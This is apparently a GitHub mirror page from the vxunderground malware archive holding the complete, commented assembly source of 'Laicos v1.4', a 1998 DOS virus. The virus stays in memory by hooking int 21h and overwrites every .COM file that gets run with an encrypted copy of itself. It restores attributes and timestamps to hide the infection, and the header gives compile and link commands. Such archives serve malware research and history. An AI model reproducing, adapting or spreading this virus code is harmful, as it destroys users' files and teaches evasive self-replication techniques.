mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
194 lines
11 KiB
NASM
194 lines
11 KiB
NASM
; ------------------------------------------------------------------------- ;
|
|
; Laicos v1.4 coded by KilJaeden of the Codebreakers 1998 ;
|
|
; ------------------------------------------------------------------------- ;
|
|
; Description: `-------------------| Started: 06/06/98 | Finished: 07/06/98 ;
|
|
; `-------------------^------------------- ;
|
|
; v1.0 - memory resident *.com overwritter, MCB style | Size: 283 ;
|
|
; v1.1 - makes sure it is really a .com file `---------- ;
|
|
; v1.2 - add infection of any file + restores attributes ;
|
|
; v1.3 - add time/date restoration of infected files ;
|
|
; v1.4 - add XOR,NOT,NEG,ROR encryption to this ;
|
|
; ------------------------------------------------------------------------- ;
|
|
; Thanks: To SPo0ky!! I Could not have done this without his patience!!!! ;
|
|
; ------------------------------------------------------------------------- ;
|
|
; to compile ::] tasm laicos.asm ;
|
|
; to link :::::] tlink /t laicos.obj ;
|
|
; ------------------------------------------------------------------------- ;
|
|
|
|
code segment ; name our segment 'code'
|
|
assume cs:code,ds:code ; assign cs and ds to code
|
|
org 100h ; this be a .com file
|
|
.286 ; need this for pusha/popa
|
|
|
|
start: jmp first ; jump to first (overwritten)
|
|
xor bp,bp ; XOR the value of bp to 0
|
|
lea si,encd ; load SI with encrypted area start
|
|
mov di,si ; DI points there now too
|
|
call encr ; call the encryption routine
|
|
jmp encd ; jump to encrypted area
|
|
|
|
encr: lodsb ; load a byte
|
|
not al ; encryptin 1
|
|
ror al,4 ; encryptin 2
|
|
neg al ; encryptin 3
|
|
key: xor al,0 ; encryptin 4
|
|
neg al ; unencrypt 3
|
|
ror al,4 ; unencrypt 2
|
|
not al ; unencrypt 1
|
|
stosb ; put the byte back
|
|
loop encr ; do it for all bytes
|
|
ret ; return from call
|
|
|
|
encd: mov ax,0deadh ; move 0deadh into AX
|
|
int 21h ; if resident, 0deadh is in BX now
|
|
cmp bx,0deadh ; are we resident?
|
|
jne go_rez ; nope were not, go rezident now
|
|
int 20h ; we are, terminate
|
|
|
|
go_rez: sub word ptr cs:[2],80h ; lower top of memory data in PSP
|
|
mov ax,cs ; move CS into AX
|
|
dec ax ; decrement AX and
|
|
mov ds,ax ; move AX into DS
|
|
sub word ptr ds:[3],40h ; sub 1kb from accessed MCB
|
|
xor ax,ax ; ax to 0
|
|
mov ds,ax ; DS has no value now
|
|
sub word ptr ds:[413h],2 ; adjust BIOS data area by 2kb
|
|
mov ax,word ptr ds:[413h] ; move adjusted BIOS mem to AX
|
|
mov cl,6 ; load cl with 6
|
|
shl ax,cl ; multiply BIOS base mem by 64
|
|
mov es,ax ; move the value into ES
|
|
push cs ; get cs again so you can
|
|
pop ds ; restore DS to original value
|
|
xor di,di ; DI must be 0 now
|
|
lea si,start ; load SI with start of virus
|
|
mov cx,finish-start ; # of bytes to write
|
|
rep movsb ; load the virus into memory
|
|
|
|
hook: push es ; push the value in ES
|
|
pop ds ; pop it into DS
|
|
mov ax,3521h ; get the int 21h interrupt
|
|
int 21h ; get it now man!
|
|
mov word ptr ds:[oi21-100h],bx ; save the old one here
|
|
mov word ptr ds:[oi21+2-100h],es ; save it here too
|
|
mov ax,2521h ; point IVT to new ISR
|
|
lea dx,isr-100h ; load DX with start of ISR
|
|
int 21h ; IVT now points to new ISR
|
|
int 20h ; end now that we have hooked
|
|
|
|
isr: pushf ; push all flags
|
|
cmp ax,0deadh ; have we added check value?
|
|
jne exec ; yup, wait for a 4bh
|
|
mov bx,0deadh ; nope, adding it now
|
|
popf ; pop the flags
|
|
iret ; pop cs:ip+flags from stack
|
|
|
|
exec: pusha ; push all registers
|
|
push ds ; push value of DS
|
|
push es ; push ES as well
|
|
cmp ah,4bh ; something being executed?
|
|
je main ; yup, check if .com
|
|
jne exit ; nope, point to original ISR
|
|
|
|
main: push ds ; push DS again
|
|
pop es ; and pop it into ES
|
|
mov di,dx ; move file name info to DI
|
|
mov cx,64 ; 64 byte file name possible
|
|
mov al,'.' ; load al with .
|
|
cld ; clear direction flag
|
|
repnz scasb ; scan until . is hit
|
|
cmp word ptr ds:[di],'OC' ; is it .CO- ?
|
|
jne exit ; not a .com file, exit
|
|
cmp word ptr ds:[di+2],'M' ; check for .--M
|
|
jne exit ; not a .com file, exit
|
|
|
|
mov ax,4300h ; get the file attributes
|
|
int 21h ; we have them now
|
|
push cx ; save the values
|
|
push dx ; save the values
|
|
push ds ; save the values
|
|
|
|
mov ax,4301h ; set file attributes
|
|
xor cx,cx ; to none at all
|
|
int 21h ; set them now
|
|
|
|
mov ax,3d02h ; open the file then
|
|
int 21h ; file is now open
|
|
xchg ax,bx ; save the file info
|
|
|
|
push cs ; push 100h
|
|
push cs ; push it again
|
|
pop ds ; into DS
|
|
pop es ; into ES
|
|
|
|
mov ax,5700h ; get time / date stamps
|
|
int 21h ; we have the stamps now
|
|
push dx ; save the time
|
|
push cx ; save the date
|
|
|
|
in al,40h ; get random value
|
|
mov byte ptr cs:[key-100h+1],al ; save as our key
|
|
|
|
mov ah,40h ; write to file
|
|
lea dx,start-100h ; load start address
|
|
mov cx,encd-start ; # of bytes to write
|
|
int 21h ; write them now
|
|
|
|
mov bp,100h ; load bp with 100h
|
|
lea di,finish-100h ; end of encrypted stuff
|
|
lea si,encd-100h ; start of encrypted stuff
|
|
mov cx,finish-encd ; # of bytes to encrypt
|
|
cld ; clear direction flag
|
|
call encr ; call the encryption routine
|
|
|
|
mov ah,40h ; write to file
|
|
mov cx,finish-encd ; total # of bytes to write
|
|
lea dx,finish-100h ; write from here
|
|
int 21h ; write them now
|
|
|
|
mov ax,5701h ; restore time / date
|
|
pop cx ; from this value
|
|
pop dx ; and from this value
|
|
int 21h ; restore them now
|
|
|
|
mov ax,4301h ; set file attributes
|
|
pop ds ; restore from saved value
|
|
pop dx ; restore from this one too
|
|
pop cx ; and lastely, this one
|
|
int 21h ; attributes are restored
|
|
|
|
mov ah,3eh ; close the file
|
|
int 21h ; it's closed
|
|
|
|
exit: pop es ; pop ES from stack
|
|
pop ds ; pop DS from stack
|
|
popa ; pop all registers
|
|
popf ; pop all flags
|
|
db 0eah ; jump to original ISR
|
|
|
|
; --------------------------( The Data Area ) ----------------------------- ;
|
|
; ------------------------------------------------------------------------- ;
|
|
|
|
oi21 dd ? ; old int 21 is here
|
|
finish label near ; the offset label
|
|
|
|
; ---------------------( Not Saved / Not Encrypted )----------------------- ;
|
|
; ------------------------------------------------------------------------- ;
|
|
|
|
first: lea di,start ; load with start address
|
|
lea si,new ; overwrite with these bytes
|
|
movsw ; overwrite two bytes
|
|
movsb ; overwrite one byte
|
|
jmp encd ; jump to encrypted area start
|
|
|
|
new: mov cx,finish-encd ; this will overwrite the jump
|
|
|
|
; ----------------------------( Its All Over )----------------------------- ;
|
|
; ------------------------------------------------------------------------- ;
|
|
|
|
code ends ; end code segment
|
|
end start ; end / where to start
|
|
|
|
; ------------------------------------------------------------------------- ;
|
|
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
|
|
; ------------------------------------------------------------------------- ;
|